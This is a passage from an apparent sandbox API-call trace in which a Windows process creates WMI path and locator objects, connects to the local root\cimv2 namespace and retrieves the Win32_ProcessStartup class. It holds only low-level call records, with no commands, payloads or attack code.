[6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bc14950) returned 0x0 [0158.674] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc14950, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0158.674] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc14950, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc3eb40) returned 0x0 [0158.675] WbemDefPath:IUnknown:Release (This=0x1bc14950) returned 0x0 [0158.675] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3eb40, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc3eb40) returned 0x0 [0158.675] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3eb40, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0158.675] WbemDefPath:IUnknown:AddRef (This=0x1bc3eb40) returned 0x3 [0158.675] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3eb40, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0158.675] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3eb40, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0158.675] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3eb40, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bc14990) returned 0x0 [0158.675] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc14990, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0158.675] WbemDefPath:IUnknown:Release (This=0x1bc14990) returned 0x3 [0158.675] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0158.676] CoGetContextToken (in: pToken=0x1bb7cff0 | out: pToken=0x1bb7cff0) returned 0x0 [0158.676] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0158.676] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3eb40, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0158.676] WbemDefPath:IUnknown:Release (This=0x1bc3eb40) returned 0x2 [0158.676] WbemDefPath:IUnknown:Release (This=0x1bc3eb40) returned 0x1 [0158.676] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0158.676] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0158.676] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3eb40, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc3eb40) returned 0x0 [0158.676] WbemDefPath:IUnknown:AddRef (This=0x1bc3eb40) returned 0x3 [0158.676] WbemDefPath:IUnknown:Release (This=0x1bc3eb40) returned 0x2 [0158.676] WbemDefPath:IWbemPath:SetText (This=0x1bc3eb40, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0158.676] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3eb40, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0158.676] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3eb40, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0158.676] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3eb40, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0158.676] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3eb40, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0158.676] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3eb40, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0158.676] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3eb40, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0158.677] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3eb40, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0158.677] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0158.677] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0158.677] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0158.677] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0158.677] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0158.677] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0158.677] IUnknown:Release (This=0x1a943398) returned 0x1 [0158.679] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bc149d0) returned 0x0 [0158.679] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc149d0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0158.679] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc149d0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1bc3e9c0) returned 0x0 [0158.679] WbemDefPath:IUnknown:Release (This=0x1bc149d0) returned 0x0 [0158.679] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3e9c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1bc3e9c0) returned 0x0 [0158.680] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3e9c0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0158.680] WbemDefPath:IUnknown:AddRef (This=0x1bc3e9c0) returned 0x3 [0158.680] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3e9c0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0158.680] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3e9c0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0158.680] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3e9c0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bc14a10) returned 0x0 [0158.680] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc14a10, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0158.680] WbemDefPath:IUnknown:Release (This=0x1bc14a10) returned 0x3 [0158.680] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0158.680] CoGetContextToken (in: pToken=0x1bb7ceb0 | out: pToken=0x1bb7ceb0) returned 0x0 [0158.680] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0158.680] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3e9c0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0158.681] WbemDefPath:IUnknown:Release (This=0x1bc3e9c0) returned 0x2 [0158.681] WbemDefPath:IUnknown:Release (This=0x1bc3e9c0) returned 0x1 [0158.681] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0158.681] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0158.681] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3e9c0, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1bc3e9c0) returned 0x0 [0158.681] WbemDefPath:IUnknown:AddRef (This=0x1bc3e9c0) returned 0x3 [0158.681] WbemDefPath:IUnknown:Release (This=0x1bc3e9c0) returned 0x2 [0158.681] WbemDefPath:IWbemPath:SetText (This=0x1bc3e9c0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0158.681] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3e9c0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0158.681] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3e9c0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0158.681] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3e9c0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0158.681] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0158.681] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0158.681] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0158.681] IUnknown:Release (This=0x1a943398) returned 0x1 [0158.682] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bc14b10) returned 0x0 [0158.683] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc14b10, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0158.683] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc14b10, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bc14b30) returned 0x0 [0158.683] WbemLocator:IUnknown:Release (This=0x1bc14b10) returned 0x0 [0158.683] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc14b30, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bc14b30) returned 0x0 [0158.683] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc14b30, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0158.683] WbemLocator:IUnknown:AddRef (This=0x1bc14b30) returned 0x3 [0158.683] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc14b30, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0158.683] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc14b30, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0158.684] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc14b30, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0158.684] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0158.684] CoGetContextToken (in: pToken=0x1bb7d0d0 | out: pToken=0x1bb7d0d0) returned 0x0 [0158.684] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0158.684] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc14b30, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0158.684] WbemLocator:IUnknown:Release (This=0x1bc14b30) returned 0x2 [0158.684] WbemLocator:IUnknown:Release (This=0x1bc14b30) returned 0x1 [0158.684] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0158.684] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0158.684] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc14b30, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bc14b30) returned 0x0 [0158.684] WbemLocator:IUnknown:AddRef (This=0x1bc14b30) returned 0x3 [0158.684] WbemLocator:IUnknown:Release (This=0x1bc14b30) returned 0x2 [0158.684] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3e9c0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0158.684] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3e9c0, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0158.684] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3e9c0, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0158.684] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bc14b50) returned 0x0 [0158.684] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc14b50, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bb98180) returned 0x0 [0158.851] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb98180, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1bbdc500) returned 0x0 [0158.851] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bbdc500, pProxy=0x1bb98180, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0158.851] WbemLocator:IUnknown:Release (This=0x1bbdc500) returned 0x1 [0158.851] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb98180, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1bbdc540) returned 0x0 [0158.851] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb98180, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1bbdc500) returned 0x0 [0158.851] WbemLocator:IClientSecurity:SetBlanket (This=0x1bbdc500, pProxy=0x1bb98180, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0158.852] WbemLocator:IUnknown:Release (This=0x1bbdc500) returned 0x2 [0158.852] WbemLocator:IUnknown:Release (This=0x1bbdc540) returned 0x1 [0158.852] CoTaskMemFree (pv=0x1bc19c20) [0158.852] WbemLocator:IUnknown:AddRef (This=0x1bb98180) returned 0x2 [0158.852] WbemLocator:IUnknown:Release (This=0x1bc14b50) returned 0x0 [0158.852] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0158.853] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0158.853] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb98180, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1bbdc510) returned 0x0 [0158.853] WbemLocator:IRpcOptions:Query (in: This=0x1bbdc510, pPrx=0x1a9d19a0, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0158.853] WbemLocator:IUnknown:Release (This=0x1bbdc510) returned 0x2 [0158.853] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0158.853] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0158.853] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb98180, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bb98180) returned 0x0 [0158.853] WbemLocator:IUnknown:Release (This=0x1bb98180) returned 0x2 [0158.853] SysStringLen (param_1=0x0) returned 0x0 [0158.853] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3eb40, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0158.853] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3eb40, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0158.854] IWbemServices:GetObject (in: This=0x1bb98180, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bbb4db0, ppCallResult=0x0) returned 0x0 [0158.855] IWbemClassObject:Get (in: This=0x1bbb4db0, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0158.855] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0158.856] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0158.856] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, 